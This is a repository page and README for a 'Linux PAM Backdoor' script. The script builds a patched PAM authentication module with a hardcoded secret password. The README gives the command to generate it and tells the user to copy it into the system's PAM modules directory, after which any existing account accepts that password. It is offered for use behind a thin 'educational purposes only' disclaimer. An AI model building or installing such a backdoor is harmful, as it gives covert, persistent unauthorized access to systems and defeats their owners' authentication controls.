You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
zeph e2f0fafb7c
Merge pull request #2 from 0ca/patch-1
2 years ago
LICENSE Initial commit 3 years ago Updated readme 3 years ago
backdoor.patch First commit 3 years ago Added ./configure 2 years ago


Linux PAM Backdoor

This script automates the creation of a backdoor for Linux-PAM (Pluggable Authentication Modules)


To generate the backdoored, just run:

./ -v 1.3.0 -p som3_s3cr4t_p455w0rd

You have to identify the PAM version installed on the system, to make sure the script will compile the right version. Otherwise you can break the whole system authentication.

After the execution of the script, the last step is to copy the generated to the pam modules dir on the host.

cp /usr/lib/security/

That’s all.

After that, you can log-in to the system using an existing user, and the previously configured password.

Use this for educational purposes only. I am not responsible for the damage you might cause.